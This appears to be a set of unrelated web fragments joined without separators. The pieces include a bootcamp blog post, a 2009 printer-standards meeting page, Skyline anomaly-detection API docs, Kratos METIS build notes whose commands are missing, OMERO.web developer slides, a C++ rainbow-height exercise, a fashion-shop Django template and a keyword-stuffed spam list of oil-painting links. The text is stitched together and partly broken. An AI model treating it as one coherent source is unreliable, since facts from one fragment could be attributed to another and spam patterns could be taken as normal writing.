Cultural: Chef's Kitchen 4/11/2015
I really like DBC emphasis on urging students to take control of their own education. Shereef's analogy of students going into the kitchen with apron on and being hungry to create something, is my mentality of why I signed up for DBC in the first place. I am very excited and eager to learn about something I don't really have any experience with before. And I know in order for me to do that in a fast learning environment, I have to collaborate and rely on my cohort as well as my teachers. I'm very confident that when I get out of DBC, not only did I learn coding, but also built relationships with people and established the mindset of creating things. I think this aspect of taking control of our education is something not emphasize in schools, as we're always given a syllabus and a cirriculum to follow. I'm very excited to participate in this learning environment and I can't wait to see everyone onsite!


PWG June
2009
F2F
Meeting
I. When/Where
The PWG F2F meeting will be held on June, 23-25,
2009 at Xerox in Webster NY (Webster is near
Rochester, NY)
Address:
Xerox Corp.
800 Phillips Rd.
Webster NY, 14580-9701
Note: The IEEE P2600 Hardcopy Device and System Security working group
will be
holding a meeting at the same venue on Monday June 22.
I. For those unable to travel
Conference call information:
Call-in
toll-free
number (US/Canada): 1-866-469-3239
Call-in
toll number
(US/Canada): 1-650-429-3300
Call-in
toll number
(US/Canada): 1-408-856-9570
Attendee access code: (by request only)
LiveMeeting information:
Click Here to Join Live Meeting
III. Detailed
Meeting
Agenda:
All times are local to the venue (EDT)
|
|
|
|
|
Meeting
Slides |
Meeting
Minutes |
|
Tues. 06/23 |
9:00 AM |
11:30 AM |
IDS |
IDS-PWG-F2F-6-2009.pdf | |
|
11:30 AM |
1:00 PM |
Lunch |
|||
|
1:00 PM |
4:00 PM |
IDS |
|||
|
|
|
|
|
|
|
| Wed. 06/24 |
9:00 AM |
10:00 AM |
WIMS/CIM |
WIMS_WG_Meeting_June_09.pdf | |
|
10:00 AM |
11:30 AM |
IPP 2.0 |
IPP-WG-Agenda-June-09.pdf |
||
|
11:30 AM |
1:00 PM |
Lunch |
|||
|
1:00 PM |
2:00 PM |
Plenary |
Plenary
Slides |
||
|
2:00 PM |
4:00 PM |
MFD |
MFD-Agenda-June-09.pdf
|
||
|
Thurs. 06/25 |
9:00 AM |
11:30 AM |
MFD |
MFD-Agenda-June-09.pdf | |
|
|
11:30 AM |
1:00 PM |
Lunch |
||
|
|
1:00 PM |
~3:00 PM |
MFD |
MFD-Agenda-June-09.pdf |
IV. Hotel
information for
the June 2009 PWG meetings:
There are no hotel arrangements for this meeting.
(attendees are on their own) Xerox has
negotiated rates with many local hotels. You should call them
directly and ask for the
Xerox rate. Below are a few local hotels and associated
information.
Fairfield Inn
915 Hard Road
585-671-1500
Xerox rate: $86.00
Map of hotel to Xerox Campus:
Hampton Inn
878 Hard Road
585-671-2050
Xerox rate: $84.00
Map of hotel to Xerox Campus:
Courtyard
1000
585-385-1000
Xerox rate: $99.00
Map of hotel to Xerox Campus:
Brookwood
Inn - Pittsford
585-248-9000
Xerox rate:
$95
Map of hotel to Xerox Campus:
Woodcliff
Hotel and Spa
585-248-4825
Xerox rate:
$109
Map of hotel to Xerox Campus:


Advisor Values
Respects the current state of the "Route Advisor speed limit" option
The value of truck's navigation distance (in meters)
The value of truck's navigation eta (in second)
The value of truck's navigation speed limit (in m/s)


Show 23 Therapists
Insurance
Choose your insurance options
Out-of-network
Any insurance
Aetna
Alliance
Anthem
Beacon
Behavioral Health Systems
Blue Cross
Blue Shield
Cigna
HMC Healthworks
Health Net
Humana
Kaiser
MHN
MHNet Behavioral Health
Magellan
Network Health
Optum
United Healthcare
WellCare


blurEvent
(directive in module tri
)
Used to invoke a function when an element loses focus. The blur-next
function if specified is executed
when the control reads an 'enter' key. It is used to set the focus to the next element.
<input ... blur-event='function-to-execute' blur-next='function-to-execute'>


Data Science Society at Berkeley (DSSB), supported by the Berkeley Institute of Data Science , aims to create a cross-campus Data Science learning platform for interested students and provide them with the best possible resources for success. This year, besides hosting various projects and research, we will host an annual Data Science Forum with expected audience size of 800 at UC Berkeley on Saturday April 23rd, 2016, with 12 data science leaders from the most innovative companies at Bay Area.
Founder and CEO at Databricks
Founder and CEO at Kaggle
Chief Scientist at Pinterest
Director of Silicon Valley AI Lab at Baidu
Sr Director and Head of Data Science @Walmartlabs
VP Data Science at Instacart
VP of Data Engineering and Analytics at Netflix
Head of Data Science at Yelp
Head of Data Science at Airbnb.com
Director of Analytics at Coursera
Head of Data Science, Director, Algorithms and Data Science at Microsoft
Senior Director, Big Data and Data Science at Adobe


About Home Loans
Home Loan - Features and Benefits The Bajaj Finserv Home Loan is a one-stop solution for all your housing loan needs
Whether you’re looking to buy or build your first home or simply want to renovate your current home, this feature-rich home loan serves as the perfect partner.Funds provided to an individual / entity for purchase construction extension or renovation of a residential property is called a Home Loan. What are the documents required for applying for a Loan?
Home loans help you with a lump-sum advance of funds towards buying your desired property, this amount will be repayable with interest. However you can re-pay the amount advanced via EMIs (Equated Monthly Installments), thus enabling you to approach realizing your home dream in a convenient and structured way. Avail a Home Loan, Loan Against Property or transfer your existing home loan to HDFC Ltd. at attractive interest rates.
Read more


Reference date for the cited dataset. This date can refer to dataset creation, publication, or revision. Format should be YYYY-MM-DD.
Creation: Date identifies when the resource was brought into existence. Publication: Date identifies when the resource was issued. Revision: Date identifies when the resource was examined or re-examined and improved or amended.


skyline.analyzer package¶
Submodules¶
skyline.analyzer.agent module¶
skyline.analyzer.agent_batch module¶
skyline.analyzer.alerters module¶
-
LOCAL_DEBUG
= False¶ Create any alerter you want here. The function will be invoked from trigger_alert.
Three arguments will be passed, two of them tuples: alert and metric, and context
alert: the tuple specified in your settings:
alert[0]: The matched substring of the anomalous metric
alert[1]: the name of the strategy being used to alert
alert[2]: The timeout of the alert that was triggered
metric: information about the anomaly itself
metric[0]: the anomalous value
metric[1]: The full name of the anomalous metric
metric[2]: anomaly timestamp
context: app name
-
alert_smtp
(alert, metric, context)[source]¶ Called by
trigger_alert()
and sends an alert via smtp to the recipients that are configured for the metric.
-
alert_pagerduty
(alert, metric, context)[source]¶ Called by
trigger_alert()
and sends an alert via PagerDuty
-
alert_hipchat
(alert, metric, context)[source]¶ Called by
trigger_alert()
and sends an alert the hipchat room that is configured in settings.py.
-
alert_syslog
(alert, metric, context)[source]¶ Called by
trigger_alert()
and logs anomalies to syslog.
-
alert_stale_digest
(alert, metric, context)[source]¶ Called by
trigger_alert()
and sends a digest alert via smtp of the stale metrics to the default recipient
-
alert_http
(alert, metric, context)[source]¶ Called by
trigger_alert()
and sends and resend anomalies to a http endpoint.
-
trigger_alert
(alert, metric, context)[source]¶ Called by
skyline.analyzer.Analyzer.spawn_alerter_process
to trigger an alert.Analyzer passes three arguments, two of them tuples. The alerting strategy is determined and the approriate alert def is then called and passed the tuples.
- Parameters
alert –
The alert tuple specified in settings.py e.g. (‘stats.*’, ‘smtp’, 3600, 168)
alert[0]: The matched substring of the anomalous metric (str)
alert[1]: the name of the strategy being used to alert (str)
alert[2]: The timeout of the alert that was triggered (int)
alert[3]: The second order resolution hours [optional for Mirage] (int)
metric –
The metric tuple e.g. (2.345, ‘server-1.cpu.user’,<PHONE_NUMBER>)
metric[0]: the anomalous value (float)
metric[1]: The base_name of the anomalous metric (str)
metric[2]: anomaly timestamp (float or int)
context (str) – app name
skyline.analyzer.algorithms module¶
-
tail_avg
(timeseries)[source]¶ This is a utility function used to calculate the average of the last three datapoints in the series as a measure, instead of just the last datapoint. It reduces noise, but it also reduces sensitivity and increases the delay to detection.
-
median_absolute_deviation
(timeseries)[source]¶ A timeseries is anomalous if the deviation of its latest datapoint with respect to the median is X times larger than the median of deviations.
-
grubbs
(timeseries)[source]¶ A timeseries is anomalous if the Z score is greater than the Grubb’s score.
-
first_hour_average
(timeseries)[source]¶ Calcuate the simple average over one hour, FULL_DURATION seconds ago. A timeseries is anomalous if the average of the last three datapoints are outside of three standard deviations of this value.
-
stddev_from_average
(timeseries)[source]¶ A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the average. This does not exponentially weight the MA and so is better for detecting anomalies with respect to the entire series.
-
stddev_from_moving_average
(timeseries)[source]¶ A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the moving average. This is better for finding anomalies with respect to the short term trends.
-
mean_subtraction_cumulation
(timeseries)[source]¶ A timeseries is anomalous if the value of the next datapoint in the series is farther than three standard deviations out in cumulative terms after subtracting the mean from each data point.
-
least_squares
(timeseries)[source]¶ A timeseries is anomalous if the average of the last three datapoints on a projected least squares model is greater than three sigma.
-
histogram_bins
(timeseries)[source]¶ A timeseries is anomalous if the average of the last three datapoints falls into a histogram bin with less than 20 other datapoints (you’ll need to tweak that number depending on your data)
Returns: the size of the bin which contains the tail_avg. Smaller bin size means more anomalous.
-
ks_test
(timeseries)[source]¶ A timeseries is anomalous if 2 sample Kolmogorov-Smirnov test indicates that data distribution for last 10 minutes is different from last hour. It produces false positives on non-stationary series so Augmented Dickey-Fuller test applied to check for stationarity.
-
get_function_name
()[source]¶ This is a utility function is used to determine what algorithm is reporting an algorithm error when the record_algorithm_error is used.
-
record_algorithm_error
(algorithm_name, traceback_format_exc_string)[source]¶ This utility function is used to facilitate the traceback from any algorithm errors. The algorithm functions themselves we want to run super fast and without fail in terms of stopping the function returning and not reporting anything to the log, so the pythonic except is used to “sample” any algorithm errors to a tmp file and report once per run rather than spewing tons of errors into the log.
Note
- algorithm errors tmp file clean up
the algorithm error tmp files are handled and cleaned up in
Analyzer
after all the spawned processes are completed.
- Parameters
algorithm_name (str) – the algoritm function name
traceback_format_exc_string (str) – the traceback_format_exc string
- Returns
True
the error string was written to the algorithm_error_fileFalse
the error string was not written to the algorithm_error_file
- Return type
boolean
-
identify_airgaps
(metric_name, timeseries, airgapped_metrics, airgapped_metrics_filled)[source]¶ Identify air gaps in metrics to populate the analyzer.airgapped_metrics Redis set with the air gaps if the specific air gap it is not present in the set. If there is a start_airgap timestamp and no end_airgap is set then the metric will be in a current air gap state and/or it will become stale. If the netric starts sending data again, it will have the end_airgap set and be added to the analyzer.airgapped_metrics Redis set. Also Identify if a time series is unordered.
- Parameters
metric_name (str) – the FULL_NAMESPACE metric name
timeseries (list) – the metric time series
airgapped_metrics (list) – the air gapped metrics list generated from the analyzer.airgapped_metrics Redis set
- Returns
list of air gapped metrics and a boolean as to whether the time series is unordered
- Return type
list, boolean
-
negatives_present
(timeseries)[source]¶ Determine if there are negative number present in a time series
skyline.analyzer.algorithms_batch module¶
-
tail_avg
(timeseries)[source]¶ This is a utility function used to calculate the average of the last three datapoints in the series as a measure, instead of just the last datapoint. It reduces noise, but it also reduces sensitivity and increases the delay to detection.
-
median_absolute_deviation
(timeseries)[source]¶ A timeseries is anomalous if the deviation of its latest datapoint with respect to the median is X times larger than the median of deviations.
-
grubbs
(timeseries)[source]¶ A timeseries is anomalous if the Z score is greater than the Grubb’s score.
-
first_hour_average
(timeseries)[source]¶ Calcuate the simple average over one hour, FULL_DURATION seconds ago. A timeseries is anomalous if the average of the last three datapoints are outside of three standard deviations of this value.
-
stddev_from_average
(timeseries)[source]¶ A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the average. This does not exponentially weight the MA and so is better for detecting anomalies with respect to the entire series.
-
stddev_from_moving_average
(timeseries)[source]¶ A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the moving average. This is better for finding anomalies with respect to the short term trends.
-
mean_subtraction_cumulation
(timeseries)[source]¶ A timeseries is anomalous if the value of the next datapoint in the series is farther than three standard deviations out in cumulative terms after subtracting the mean from each data point.
-
least_squares
(timeseries)[source]¶ A timeseries is anomalous if the average of the last three datapoints on a projected least squares model is greater than three sigma.
-
histogram_bins
(timeseries)[source]¶ A timeseries is anomalous if the average of the last three datapoints falls into a histogram bin with less than 20 other datapoints (you’ll need to tweak that number depending on your data)
Returns: the size of the bin which contains the tail_avg. Smaller bin size means more anomalous.
-
ks_test
(timeseries)[source]¶ A timeseries is anomalous if 2 sample Kolmogorov-Smirnov test indicates that data distribution for last 10 minutes is different from last hour. It produces false positives on non-stationary series so Augmented Dickey-Fuller test applied to check for stationarity.
-
get_function_name
()[source]¶ This is a utility function is used to determine what algorithm is reporting an algorithm error when the record_algorithm_error is used.
-
record_algorithm_error
(algorithm_name, traceback_format_exc_string)[source]¶ This utility function is used to facilitate the traceback from any algorithm errors. The algorithm functions themselves we want to run super fast and without fail in terms of stopping the function returning and not reporting anything to the log, so the pythonic except is used to “sample” any algorithm errors to a tmp file and report once per run rather than spewing tons of errors into the log.
Note
- algorithm errors tmp file clean up
the algorithm error tmp files are handled and cleaned up in
Analyzer
after all the spawned processes are completed.
- Parameters
algorithm_name (str) – the algoritm function name
traceback_format_exc_string (str) – the traceback_format_exc string
- Returns
True
the error string was written to the algorithm_error_fileFalse
the error string was not written to the algorithm_error_file
- Return type
boolean
skyline.analyzer.analyzer module¶
-
class
Analyzer
(parent_pid)[source]¶ Bases:
threading.Thread
The Analyzer class which controls the analyzer thread and spawned processes.
-
spawn_alerter_process
(alert, metric, context)[source]¶ Spawn a process to trigger an alert.
This is used by smtp alerters so that matplotlib objects are cleared down and the alerter cannot create a memory leak in this manner and plt.savefig keeps the object in memory until the process terminates. Seeing as data is being surfaced and processed in the alert_smtp context, multiprocessing the alert creation and handling prevents any memory leaks in the parent.
Added 20160814 relating to:
Bug #1558: Memory leak in Analyzer
Issue #21 Memory leak in Analyzer see https://github.com/earthgecko/skyline/issues/21
Parameters as per
skyline.analyzer.alerters.trigger_alert
-
spin_process
(i, unique_metrics)[source]¶ Assign a bunch of metrics for a process to analyze.
Multiple get the assigned_metrics to the process from Redis.
For each metric:
unpack the raw_timeseries for the metric.
Analyse each timeseries against ALGORITHMS to determine if it is anomalous.
If anomalous add it to the Redis set analyzer.anomalous_metrics
Add what algorithms triggered to the
self.anomaly_breakdown_q
queueIf
settings.ENABLE_CRUCIBLE
isTrue
:Add a crucible data file with the details about the timeseries and anomaly.
Write the timeseries to a json file for crucible.
Add keys and values to the queue so the parent process can collate for:
self.anomaly_breakdown_q
self.exceptions_q
-
run
()[source]¶ Called when the process intializes.
Determine if Redis is up and discover the number of unique metrics.
Divide the unique_metrics between the number of ANALYZER_PROCESSES and assign each process a set of metrics to analyse for anomalies.
Wait for the processes to finish.
Determine whether if any anomalous metrics require:
Alerting on (and set EXPIRATION_TIME key in Redis for alert).
Feed to another module e.g. mirage.
Alert to syslog.
Populate the webapp json with the anomalous_metrics details.
Log the details about the run to the skyline analyzer log.
Send skyline.analyzer metrics to GRAPHITE_HOST
-
skyline.analyzer.analyzer_batch module¶
-
class
AnalyzerBatch
(parent_pid)[source]¶ Bases:
threading.Thread
The AnalyzerBatch class which controls the analyzer.batch thread and spawned processes.
Made with love to the analyzer_batch playlist: https://soundcloud.com/earthgecko/sets/analyzer_batch https://soundcloud.com/thedeltariggs/ode-to-jeremiah (I can’t tell what I’ve seen..) https://soundcloud.com/egroove/premiere-francesco-chiocci-feat-black-soda-musumeci-remix-connaisseur-recordings (picking up pieces of my weary mind) https://soundcloud.com/when-we-dip/premiere-francesco-chiocci-ft-black-soda-black-sunrise-peter-pardeike-remix https://soundcloud.com/timgreen/atelier-francesco-manuel-feat-astrid-dead-end-tim-green-remixcityfox-1 https://soundcloud.com/imbernonmusic/edu-imbernon-fixing-fires https://soundcloud.com/deep-house-amsterdam/oliver-koletzki-deep-house-amsterdam-dgtl-podcast-007 https://soundcloud.com/crosstownrebels/crm140-damian-lazarus-the-ancient-moons-vermillion-agoria-remix-1 https://soundcloud.com/wiewouwat/joy-wellboy-before-the-sunrise https://soundcloud.com/agoria/damian-lazarus-the-ancent-moons-vermillion-agoria-remix https://soundcloud.com/wearesoundspace/premiere-just-her-feat-kieran-fowkes-let-myself-go https://soundcloud.com/watergaterecords/matthias-meyer-november-rain https://soundcloud.com/musicthatmakesmewannasurf/mixtape-2-w-kosson
-
spin_batch_process
(i, run_timestamp, metric_name, last_analyzed_timestamp)[source]¶ Assign a metric and last_analyzed_timestamp for a process to analyze.
- Parameters
i – python process id
run_timestamp – the epoch timestamp at which this process was called
metric_name – the FULL_NAMESPACE metric name as keyed in Redis
last_analyzed_timestamp – the last analysed timestamp as recorded in the Redis key last_timestamp.basename key.
- Returns
returns True
-
run
()[source]¶ Called when the process intializes.
Determine if Redis is up and discover the number of unique metrics.
Divide the unique_metrics between the number of ANALYZER_PROCESSES and assign each process a set of metrics to analyse for anomalies.
Wait for the processes to finish.
Determine whether if any anomalous metrics require:
Alerting on (and set EXPIRATION_TIME key in Redis for alert).
Feed to another module e.g. mirage.
Alert to syslog.
Populate the webapp json with the anomalous_metrics details.
Log the details about the run to the skyline analyzer log.
Send skyline.analyzer metrics to GRAPHITE_HOST
-


|
KratosMultiphysics
KRATOS Multiphysics (Kratos) is a framework for building parallel, multi-disciplinary simulation software, aiming at modularity, extensibility, and high performance. Kratos is written in C++, and counts with an extensive Python interface.
|
The Metis application provides an interface to the METIS graph partitioning library, used within Kratos Multiphysics to generate mesh partitions for MPI runs.
The applicaiton is organized in a series of processes, each one of them providing an interface to a different partitioning algorithm. The algorithm most commonly used for finite elements is metis_divide_heterogeneous_input_process.h
, which generates a partition of the mesh based on the nodal graph and can be used for meshes combining multiple element types.
Building the MetisApplication
requires METIS libraries and their dependencies already installed on the system. The easiest way to get them is by the package manager of the GNU/Linux distribution. For example, in Ubuntu GNU/Linux:
However, there may be situations where downloading the packages may not be possible. In this case, other (potentially trickier) option is to download the source code and build the libraries. For more detailed and updated instructions for compiling METIS, GKlib, and other necessary packages, refer to Compiling Kratos with MPI support in the wiki.
Assuming that the dependencies are installed, the following steps are:
MetisApplication
to the list of applications to be compiled in the building script for Kratos, as described in the install instructions.Spack is a multi-platform package manager that builds and installs multiple versions and configurations of software. It works on GNU/Linux, macOS, and many supercomputers. Spack is non-destructive: installing a new version of a package does not break existing installations, so many configurations of the same package can coexist.
To install Spack you just need to run the following command:
To use it you will need to add the corresponding environment variables (or call spack_location/spack/bin/spack
):
Then in order to install METIS:
If you want that the libraries are added automatically to LD_LIBRARY_PATH
to run the following commands before loading the modules:
Now you just need to load METIS:
Once to compile MetisApplication
just remember to add the application to the cofigure
bash script:


-
democratic elements of colonial governments
oil paintings on Etsy, a global handmade and vintage marketplace.
oil paintings. . SALE Original Oil Painting Medium Size.
http://www.etsy.com/search/vintage?q=oil+paintings
-
butterflies are they beneficial
Frida Kahlo Paintings - Oil Painting Reproductions
Oil Painting Reproductions at ArtsHeaven.com · Contact us .
http://www.artsheaven.com/frida-kahlo-oil-painting-reproductions-all.html
-
ute myths of the grand mesa
Oil Paintings - Mexican and Guatemalan- Category - ICOM
Mexican and Guatemalan religious oil paintings date from the Colonial or Viceroyalty . Finally, in the 18th century and following the baroque style, the names of .
http://icom.museum/resources/red-lists-database/category/oil-paintings-mexican-and-guatemalan/
-
ways to invest asx propity
Mexican Oil Paintings - Mexican Villages - Mexican Pueblos - Buy ...
Frame: Yes, Medium: Oil, Original: No. Support Base: Canvas, Place of Origin: Mexico, Brand Name: Mexican oil painting. Model Number: Mexicanpueblo01 .
http://www.alibaba.com/product-free/115493467/Mexican_oil_paintings_mexican_villages_mexican.html
-
data storage distributor eden prairie
Artists Painters Directory worldwide listing alphabetical
List of artists by name beginning with A . Charles Demuth (18831935), American watercolorist and oil painter; Maurice Denis (18701943), French painter .
http://gallery4collectors.com/ArtistsPainters.htm
-
oxford golf club michigan
Crafts Oil Paintings
Oil Paintings The Little Umrella. . in exhibitions all around the world - Spain, Czech Republic, USA, Russia, Mexico, Portugal and Poland, to name of few.
http://www.url.biz/Articles/Article-2406.html
-
seth burrell ax fishing store
Diego Rivera Paintings - page 1 | Oil Paintings
. reproductions. Diego Rivera 1886 - 1957 was a Mexican painter. . View a full list of all Diego Rivera oil paintings(small pictures) . Oil Painting Reproduction .
http://www.oceansbridge.com/oil-paintings/section/2451/1/riveradiego
-
simple twist of fate chords
List of works by Vincent van Gogh - Wikipedia, the free encyclopedia
List of works by Vincent van Gogh is an incomplete list of paintings and other works by . All works listed here are oil on canvas unless otherwise indicated. . of Sheep (b/w copy of painting), 1884, Soumaya Museum, Tizapán, Mexico (F42) .
http://en.wikipedia.org/wiki/List_of_works_by_Vincent_van_Gogh
-
kewitt koonce and ecu
The Bungalow Store : Art
OIL PAINTING ON CANVAS MEXICAN HACIENDA WALKWAY: OIL ON CANVAS SCENE OF A MEXICAN HACIENDA WALKWAY. WHILE THIS IS UNSIGNED .
http://www.thebungalowstore.com/category/art.html
-
sora loves kairi fanfiction
Enchanted Valley. Mexican Contemporary Oil Painting
Here you will find Mexican oil paintings featuring Mexican artist Luis Valentin, . My Wish List . $445.00 Add Mexican Fine Oil Painting to your shopping cart .
http://www.finecraftsimports.com/products/mexican_oil_painting.asp?pid=291519-16
-
boathouse restaurant breach inlet
Original Canvas Oil Painting Bienvenido A Mexico
. harvest are the subjects in this bold and beautiful original canvas oil painting by Bernath. Created with striking details and magnificent colors, this original depicts the history of Mexico with a whimsical twist. . Keyword, Artwork Name, Artist .
http://www.gfagallery.com/print-Bienvenido-a-Mexico-186.html
-
king james the second witchcraft
View Prospectus - Oil Painters of America
Mar 8, 2013. All paid members residing in the United States, Canada and Mexico. . Print clearly on slides: your name, title of painting, size, and price.
http://www.oilpaintersofamerica.com/events/exhibitions/2013/salon-petoskey/2013-Salon-Prospectus.pdf
-
barbara manning dock ellis lyrics
Hyper-realistic paintings by Omar Ortiz from Mexico | Amazing ...
Apr 20, 2012 . Omar Ortiz is a Mexican artist who paints hyper-realistic oil paintings. Omar's main element of paintings are the human figure mostly woman .
http://photos.amazingezone.com/paintings/hyper-realistic-paintings-by-omar-ortiz-from-mexico/
-
cal berkely womens softball
Mexico Scenes: Oil Paintings Karl Nolde (Kanol)
Mexico Scenes: Oil Paintings Karl Nolde (Kanol) . where Karl used the medium of colored crayon, signing the name Kanol and titling the paintings in English.
http://www.usfreeads.com/570832-cls.html
-
cat claws not retracting
i have two oil paintings from artistic impressions, inc. certified ...
Askville Question: I HAVE TWO OIL PAINTINGS FROM ARTISTIC IMPRESSIONS , INC. . With the black art, they tried to use black names that sounded authentic... and it . #541509, frame hand made in mexico" (0 answers) .
http://askville.amazon.com/OIL-PAINTINGS-ARTISTIC-IMPRESSIONS-CERTIFIED-%232179762-%232179761-WORTH/AnswerViewer.do?requestId=84244043
-
weather in ft myers
United States Artists - Oil Paintings
Oil paintings by artists from the United States listed in the United States artists . Igal M, a talented and acclaimed artist in the 1960s in Europe and Mexico held his . Hollywood's Healing Painter Metin Bereketli has made a justified name for .
http://www.the-art-world.com/united-states-oil-paintings.htm
-
evaluation techniques in teaching
About Me and My Parrots Frida Kahlo canvas oil painting ...
Oil Painting Reproduction Art by Masterpiece Paintings Gallery . But she had mixed feelings about her Mexican mother, Matilde Calderon y Gonzalez, a descendant of a . You can see a complete list of these by clicking this hyperlink.
http://www.masterpiece-paintings-gallery.com/about-kahlo-parrots.htm
-
hollywood silverscreen hometheater seating
Oil Painting Importers & Oil Painting Buyers
Oil Painting Importers - Instantly Connect with Verified Oil Painting Buyers & Oil Painting . wood, nicely finished frames to purchase from Mexican manufacturer for oil paintings. . Please send price list, MOQ and payment and shipping terms.
http://importer.tradekey.com/oil-painting-importer.html
-
best acne solution products
Paintings - TIAS.com
Pair Of Vintage Continental Oil On Canvas Paintings . 1/12smc. Lively Mexican Or Latin American Street Scene Oil Painting On Canvas. Price: $329.00 .
http://www.tias.com/art/paintings/
-
technical education global issues and challenges
Oleg Shuplyak: More of the intricate oil paintings that hide more than ...
Jan 19, 2012 . Hidden inside these remarkable oil paintings by artist Oleg . a print from a Mexican artist, whose name I can't recall, and can't make out, of the .
http://www.dailymail.co.uk/news/article-2088703/Oleg-Shuplyak-More-intricate-oil-paintings-hide-meets-eye.html


OMERO.web for developers
OME Meeting, Dundee 2017
Will Moore | Jean-Marie Burel
Outline
- The OMERO.web framework
- JSON api
- Example apps
- Extension points: top-links, webclient-plugin, open-with
- App installation via PyPI
- Decoupling of OMERO.web deployment
- Getting Started
OMERO.web apps
JSON API app
- ✔ Access JSON API from language of choice: Java, Python, JavaScript, Matlab etc
- ✔ Don't need ICE
- ✔ Not tied to specific version of OMERO
- ✔ Installed by individual users (instead of sysadmin)
- ✔ Developers don't need to install OMERO.web
- ✘ Currently limited API coverage
- ✘ May be less performant than ICE for large queries?
- ✘ Stateless only. No stateful services
JSON API
- OMERO.web app
/api/
- JSON generated by omero-marshal from OMERO.model objects
- Login via POST to
/api/v0/login/
- 5.3.0 supports GET Project, Dataset, Image, Screen, Plate, Well
- 5.3.2 adds GET ROIs and Shapes
- Can Create, Update and Delete Projects, Datasets & Screens only
- Doesn't use jsonp (webgateway does). Use CORS instead
- Urls included in JSON to facilitate exploring in browser
- See JSON API docs
JSON API in the browser
JSON API with Python
import requests
session = requests.Session()
# Set CSRF token
token = session.get("http://server.org/api/v0/token/").json()['data']
session.headers.update({'X-CSRFToken': token,
'Referer': "http://server.org/api/v0/token/"})
# Login
session.post("http://server.org/api/v0/login/", data={'username': USERNAME,
'password': PASSWORD,
'server': 1})
# List Projects
rsp = session.get("http://server.org/api/v0/m/projects/").json()
for p in rsp['data']:
print p['@id'], p['Name']
Full examples in
Python,
Java
and JavaScript (with CORS)
App examples
- Ship with OMERO.web:
-
webgateway | webclient | webadmin | api
- External apps:
- OME projects:
- Examples & Prototypes:
OMERO.gallery
- HTML pages generated via Django templates
- Suitable for mobile devices
- Prototype / example app (not actively developed)
Example: Liverpool CCI OMERO Gallery
OMERO.iviewer
- First release 0.1.0 on 25th May 2017
-
Uses aurelia js framework
with Open Layers
- Loads data via /api/ and /webgateway/ urls
- Developed by Harald Waxenegger.
See:
omero-iviewer
OMERO.mapr (IDR)
- Extends webclient Django-based pages
- Many custom API queries of map annotations
- IDR uses the
Public user to allow auto-login via OMERO.web
- See:
omero-mapr
OMERO.webtagging
- Auto-tag: Add Tags to Images based on file path
- Tag-searcher: Filter data by series of Tags
- Douglas Russell (Micron, Oxford) See: OMERO.webtagging
OMERO.forms
- Create forms to validate metadata input
- Douglas Russell (Sorger Lab, HMS).
See: OMERO.forms
Webclient plugins
Open With...
$ bin/omero config append omero.web.open_with '["omero_iviewer", "omero_iviewer_index",
{"supported_objects":["image"], "script_url": "omero_iviewer/openwith.js"}]'
// openwith.js
OME.setOpenWithUrlProvider("omero_iviewer", function(selected, url) {
// Add image Id to url
url += selected[0].id + "/";
// We try to traverse the jstree, to find parent of selected image
var inst = $.jstree.reference('#dataTree');
var parent = OME.getTreeImageContainerBestGuess(selected[0].id);
url += '?' + parent.type + '=' + parent.data.id
return url;
});
* Simplified example. See
iviewer openwith.js
for original.
Open with from OMERO.figure
App JavaScript frameworks
*prototype app
App installation via PyPI
- Make OMERO.web apps "pip installable"
- Easier to deploy in CI environment for testing
- Easier for users to install
$ pip install omero-iviewer
$ bin/omero config append omero.web.apps '"omero_iviewer"'
Decoupling of OMERO.web deployment
- OMERO.web installed on different machine / environment from OMERO.server
- Use virtualenv to control Python version & dependencies
- Independent deployment & testing
- See OMERO.web deployment docs
Summary
- Try installing some apps
- Create your own apps and share!


Would you like to add
Own Pass Tests
to OwnPass?
No
Yes
Toggle navigation
Own Pass Tests
Tests
Identity/Credential
A basic identity/credential form.
Identity
Credential


|
Task Description
How tall is a
rainbow?
Because of the way
in which light is refracted by water droplets, the angle
between the level of your eye and the top of the rainbow
is always the same. If you know the distance to the
rainbow, you can multiply it by the tangent of that angle
to find the height of the rainbow.
The magic angle is
42.3333333 degrees.
The C++ standard
library works in radians, so you may have to convert the
angle to radians with the formula:
Radians = degrees x
pi/180 (where pi = 3.14159265)
Through the header
file cmath, the C++ standard library provides a tangent
function named tan. This is a value returning function
that takes a floating-point argument and returns a
floating-point result.
x=tan(someAngle);
To determine the
height of the rainbow, multiply the tangent by the
distance to the rainbow.
Write a program to
determine the height of a rainbow.
Program Input
Please prompt the judge to
enter the distance to the rainbow (in meters) as shown
below:
Enter the distance to
the rainbow (in meters): 52
You can assume that:
-
The value entered will be
a number, and
-
The value will be an
integer (the judge will not enter a decimal number, i.e.
52.3)
Program Output
After reading the
distance to the rainbow, determine the height of the
rainbow and print it out to 4 decimal places.
The height of the
rainbow is 47.3717 meters.
|


Named "Filming a Film", this film was shot and produced in 30 minutes along with three other group members. As the name suggests, it depicts a team's journey of brainstorming and planning what to do for their 30-Minute film. Recorded on Zoom and edited on iMovie, the video exists on a webpage made with HTML, CSS and a tiny bit of Javascript.
Educational comic strip aimed at encouraging people to save paper and shift to digital when possible. The comic graphics are created using existing images on the internet and edited with Adobe Photoshop.
Interactive sound project that welcomes you to a family camping trip. Choose from two characters and experience the trip through their perspectives and decide how their journey will unfold. Some of the sounds are recorded originally and produced using Audacity.
A 3-step video tutorial on surviving online school. Inspired by our current state during the Covid-19 pandemic, it offers a humorous and almost sarcastic contrast between two characters, one a model studious student and another, well... watch it yourself.


{% extends 'base.html' %} {% block content %} We offer modern fashions, just for you Make an order today and get the best service. View Products Shirts Category We have shirts for women,men and children. The prices are customer friendly. Make an order now View Products General Category Here we offer trousers for both women and men, blouses,skirts, sweaters and many other demanding products. Check our products and make an order now View Products Suit Category We have suits combinations for both women and men. Check on our suit shop and make an order now. View Products Shoes Category We have different shoe designs for men, women and children. Check on our shoe shop and make an order today. View Products Previous Next
Make an order today and get the best service.
We have shirts for women,men and children. The prices are customer friendly. Make an order now
Here we offer trousers for both women and men, blouses,skirts, sweaters and many other demanding products. Check our products and make an order now
We have suits combinations for both women and men. Check on our suit shop and make an order now.
We have different shoe designs for men, women and children. Check on our shoe shop and make an order today.
Price: Ksh {{product.price}}


Outbreak.info Resource Tagger
Thank you for your help
There may still be datasets in need of categorization.
Please help if you have time.
Help Again


Nolte: ABC's Matthew Dowd Forced to Delete 'Sexist' Impeachment Tweet
